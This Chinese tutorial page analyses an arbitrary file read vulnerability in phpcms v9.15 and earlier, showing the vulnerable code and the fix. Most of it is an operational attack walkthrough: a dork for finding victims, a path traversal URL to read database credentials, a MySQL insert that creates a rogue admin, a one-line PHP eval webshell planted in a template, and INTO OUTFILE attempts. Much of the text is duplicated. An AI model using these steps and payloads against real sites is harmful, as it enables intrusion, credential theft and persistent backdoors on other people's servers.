您现在的位置是:首页 > cms教程 > phpcms教程phpcms教程
phpcms<= v9.15 任意文件读取漏洞分析和利用示例
傲芙2025-05-25phpcms教程已有人查阅
导读phpcms v9的phpcms\modules\search\index.php存在任意文件读取漏洞问题很明显,$_GET['q']的参数没有进行校验,直接调用了file_get_contents函数文件并显示内容
phpcms v9的phpcms\modules\search\index.php存在任意文件读取漏洞
漏洞代码如下:
给出的利用方式为:
/index.php?m=search&c=index&a=public_get_suggest_keyword&url=asdf&q=..\/..\/phpsso_server/caches/configs/database.php 看起来危害很大,遂从官网下载了phpcms较新版本 v9.16,看到漏洞已经修补。
--------------------------------------------------------------------------------
下面是利用方式部分:
1. Google 关键字 "Powered by PHPCMS v9 Release" 或者 "Powered by PHPCMS v9",当然结果不少 :-)
2. 访问 ?m=search&c=index&a=public_get_suggest_keyword&url=asdf&q=..\/..\/caches/configs/database.php
(注意:不是sebug中给出的phpsso_server 目录,经xnhandt测试,某个网站是没有该目录的)
3. 得到了数据库的配置信息,注意查看host部分的配置,如果是localhost,那你就准备放弃吧(经试验证明,此想法错误,关键还是对方数据库的配置,是否允许远程访问),如果是ip或者域名,比如这样:
4. 远程连接mysql数据库:
(关于密码:phpcms使用的加密方式是md5( md5($pass) . $encrypt),如果想更换密码,可以在 这里 加密后替换掉insert语句的内容)
5.访问网站后台:
index.php?m=admin
6.插入一句话木马:
(试过用mysql 写入一句话,但mysql用户权限不够,不能创建文件,所以还是迂回到网页的方式)
依次找到如下位置:【界面】-【default 详情列表】 - 【vote】(这个是默认的模块) - 【list_new.html 修改】
在页面顶部加入一句话:
index.php?m=vote&c=index&siteid=1 密码为 pass
--------------------------------------------------------------------------------
上面1-7就是完整的利用方法了,关于获得webshell再多说一点。
笔者尝试过两种方式获取webshell。
第一种:
利用mysql备份获取webshell的方式可以参看这里:《mysql备份一句话》
该方法的关键是获得网站的物理路径,这里提供一种方法,通过error_log.php文件查看:
index.php?m=search&c=index&a=public_get_suggest_keyword&url=asdf&q=..\/..\/caches/error_log.php
显然这里的根路径是:/ /users/xxxx/ root/了
但是备份的方式在执行
select cmd from a into outfile '/ /users/xxxx/ root/d.php';
时返回结果如下:
笔者试过很多目录,比如备份用到的caches/bakup/de t/ 等可以写入的路径,发现都失败了
之后使用error_log.php 以为这个是可写可读的文件,还是失败。估计是数据库用户(非root)的权限太小,不能写文件
第二种:
直接在网上搜索“phpcms v9 获取 webshell”,找到这篇文章:《Phpcms v9后台拿webshell》
文中的方法不知道作者试过没有,笔者在本地测试不成功。当然,可能是作者的方式被人发到了官方论坛,该方法已经被部分修复了。(比如这里:bbs.phpcms.cn/thread-597032-1-1.html)
所以还是需要自己修改一下。文中直接写文件的方式会失败,但是执行php语句还是可以成功的,在此基础上,直接写入一句话就可以了。
--------------------------------------------------------------------------------
通过上文的分析,可以知道利用该漏洞的前提条件:
1.版本 v9 - v9.15 (较新的v9.16已经修复)
2.数据库开启了远程连接(一般的虚拟主机可能都开启了)
这就是为什么sebug通告中之后提到:
sebug 临时解决方案:
禁止mysql数据库外链.
给数据库单独的用户权限,不要给root权限.
的原因了。
tips:如果对方没有开启数据库连接远程访问,也不要轻易放弃,尝试下用已有信息直接登录后台,你会有意外惊喜 :-)
update:2012-7-28 现在登录后台会有提示
之后,希望看到本文的读者,以学习的态度来对待漏洞。
漏洞代码如下:
public function public_get_suggest_keyword() {
$url = $_GET['url'].'&q='.$_GET['q'];
$res = @file_get_contents($url);
if(CHARSET != 'gbk') {
$res = iconv('gbk', CHARSET, $res);
}
echo $res;
}
问题很明显,$_GET['q']的参数没有进行校验,直接调用了file_get_contents函数文件并显示内容给出的利用方式为:
/index.php?m=search&c=index&a=public_get_suggest_keyword&url=asdf&q=..\/..\/phpsso_server/caches/configs/database.php 看起来危害很大,遂从官网下载了phpcms较新版本 v9.16,看到漏洞已经修补。
public function public_get_suggest_keyword() {
$url = $_GET['url'].'&q='.$_GET['q'];
$trust_url = array('c8430fcf851e85818b546addf5bc4dd3');
$urm_md5 = md5($url);
if (!in_array($urm_md5, $trust_url)) exit;
$res = @file_get_contents($url);
if(CHARSET != 'gbk') {
$res = iconv('gbk', CHARSET, $res);
}
echo $res;
}
修改方式:将提交的url md5一次后,看结果是否在trust_url中,不在则返回错误。--------------------------------------------------------------------------------
下面是利用方式部分:
1. Google 关键字 "Powered by PHPCMS v9 Release" 或者 "Powered by PHPCMS v9",当然结果不少 :-)
2. 访问 ?m=search&c=index&a=public_get_suggest_keyword&url=asdf&q=..\/..\/caches/configs/database.php
(注意:不是sebug中给出的phpsso_server 目录,经xnhandt测试,某个网站是没有该目录的)
3. 得到了数据库的配置信息,注意查看host部分的配置,如果是localhost,那你就准备放弃吧(经试验证明,此想法错误,关键还是对方数据库的配置,是否允许远程访问),如果是ip或者域名,比如这样:
array ( 'hostname' => '61.150.xx.xx', 'database' => '数据库名', 'username' => '用户名', 'password' => '密码', 'tablepre' => 'v9_', 'charset' => 'utf8', 'type' => 'mysql', 'debug' => true, 'pconnect' => 0, 'autoconnect' => 0 ), ); ?>
就可以继续往下了4. 远程连接mysql数据库:
>mysql -u 用户名 -h 域名 -p
>输入密码
>use 数据库名
>select * from v9_admin // 可以先用 show_tables 确定该表是否存在
mysql> insert into v9_admin values('3','xnhandt','52275cda855daa5ec779951cb44170
a1',1,'5YijHB','223.221.32.1','','test@test.co','','','');
建立了新用户:xnhandt:xnhandt(关于密码:phpcms使用的加密方式是md5( md5($pass) . $encrypt),如果想更换密码,可以在 这里 加密后替换掉insert语句的内容)
5.访问网站后台:
index.php?m=admin
6.插入一句话木马:
(试过用mysql 写入一句话,但mysql用户权限不够,不能创建文件,所以还是迂回到网页的方式)
依次找到如下位置:【界面】-【default 详情列表】 - 【vote】(这个是默认的模块) - 【list_new.html 修改】
在页面顶部加入一句话:
<?php eval($_POST[pass])?>
7.用客户端(推荐菜刀)连接小马:index.php?m=vote&c=index&siteid=1 密码为 pass
--------------------------------------------------------------------------------
上面1-7就是完整的利用方法了,关于获得webshell再多说一点。
笔者尝试过两种方式获取webshell。
第一种:
利用mysql备份获取webshell的方式可以参看这里:《mysql备份一句话》
该方法的关键是获得网站的物理路径,这里提供一种方法,通过error_log.php文件查看:
index.php?m=search&c=index&a=public_get_suggest_keyword&url=asdf&q=..\/..\/caches/error_log.php
显然这里的根路径是:/ /users/xxxx/ root/了
但是备份的方式在执行
select cmd from a into outfile '/ /users/xxxx/ root/d.php';
时返回结果如下:
笔者试过很多目录,比如备份用到的caches/bakup/de t/ 等可以写入的路径,发现都失败了
之后使用error_log.php 以为这个是可写可读的文件,还是失败。估计是数据库用户(非root)的权限太小,不能写文件
第二种:
直接在网上搜索“phpcms v9 获取 webshell”,找到这篇文章:《Phpcms v9后台拿webshell》
文中的方法不知道作者试过没有,笔者在本地测试不成功。当然,可能是作者的方式被人发到了官方论坛,该方法已经被部分修复了。(比如这里:bbs.phpcms.cn/thread-597032-1-1.html)
所以还是需要自己修改一下。文中直接写文件的方式会失败,但是执行php语句还是可以成功的,在此基础上,直接写入一句话就可以了。
--------------------------------------------------------------------------------
通过上文的分析,可以知道利用该漏洞的前提条件:
1.版本 v9 - v9.15 (较新的v9.16已经修复)
2.数据库开启了远程连接(一般的虚拟主机可能都开启了)
这就是为什么sebug通告中之后提到:
sebug 临时解决方案:
禁止mysql数据库外链.
给数据库单独的用户权限,不要给root权限.
的原因了。
tips:如果对方没有开启数据库连接远程访问,也不要轻易放弃,尝试下用已有信息直接登录后台,你会有意外惊喜 :-)
update:2012-7-28 现在登录后台会有提示
之后,希望看到本文的读者,以学习的态度来对待漏洞。
本文标签:
很赞哦! ()
下一篇:phpcms模板引擎源码分析
相关教程
图文教程
phpcms后台新建模块的步骤方法
1、新建数据库,导出数据结构2、在phpcms/modules/下新建模块文件夹(1)phpcms/modules/模块名称/(2)在根目录下新建前台控制器和后台控制器文件
phpcms模板标签使用说明示例
使用phpcms总是要查询各种标签,实在很烦,只好找个比较全的来备查。因为自己写一个orm来配合调用也没那么容易无缝的嵌入到引擎当中。
phpcms的urlrule不生效的解决方法
phpcms urlrule不生效的解决办法:1、生成html静态文件;2、需要重写“.htaccess”的url规则“RewriteRule”。PHPCMS设置URL规则无效
phpcms上传登录失败的解决方法
phpcms上传登录失败的解决办法:首先进入phpcms后台;然后打开“允许附件大小”,并输入数值;接着打开php的配置文件“php.ini”并搜索“upload_max_filesize”
相关源码
-
(自适应)中英双语配线器材扎带线卡网站pbootcms模板免费下载为线缆管理、电气配线领域打造的响应式网站模板,采用PbootCMS内核开发,可快速搭建企业级产品展示平台,数据实时同步管理。查看源码 -
(自适应)英文电子芯片电子元件网站pbootcms模板下载基于PbootCMS内核开发的电子元件类企业专用模板,采用响应式设计技术,适配电子元器件、集成电路、半导体等行业的品牌展示与技术文档发布需求。前端布局针对芯片参数表格与产品规格书展示进行深度优化。查看源码 -
(自适应响应式)pbootcms食品零食店日化用品网站源码下载基于PbootCMS内核开发的响应式模板,为食品零食、日化用品等行业量身定制。该模板通过可视化设计展现产品特色,帮助企业快速搭建专业官网查看源码 -
(PC+WAP)生活资讯百科新闻门户类pbootcms网站模板为生活资讯、百科门户类企业打造的高性能网站模板,基于PbootCMS开源内核开发,采用HTML5响应式架构,PC与手机端实时数据同步,覆盖全终端用户浏览场景。查看源码 -
pbootcms源码宠物类网站源码下载(自适应多端)为宠物装备商店、宠物食品及用品企业打造的营销型模板,基于PbootCMS内核深度开发。采用响应式设计实现PC与移动端适配,PHP7.0+高性能架构支持MySQL/SQLite双数据库查看源码 -
pbootcms网站网络公司个人作品展示类网站源码(自适应)为网站建设公司、网络服务企业打造的响应式门户解决方案,基于PbootCMS内核深度开发。采用前沿自适应架构,无缝适配手机端交互与PC端展示需求。查看源码
| 分享笔记 (共有 篇笔记) |
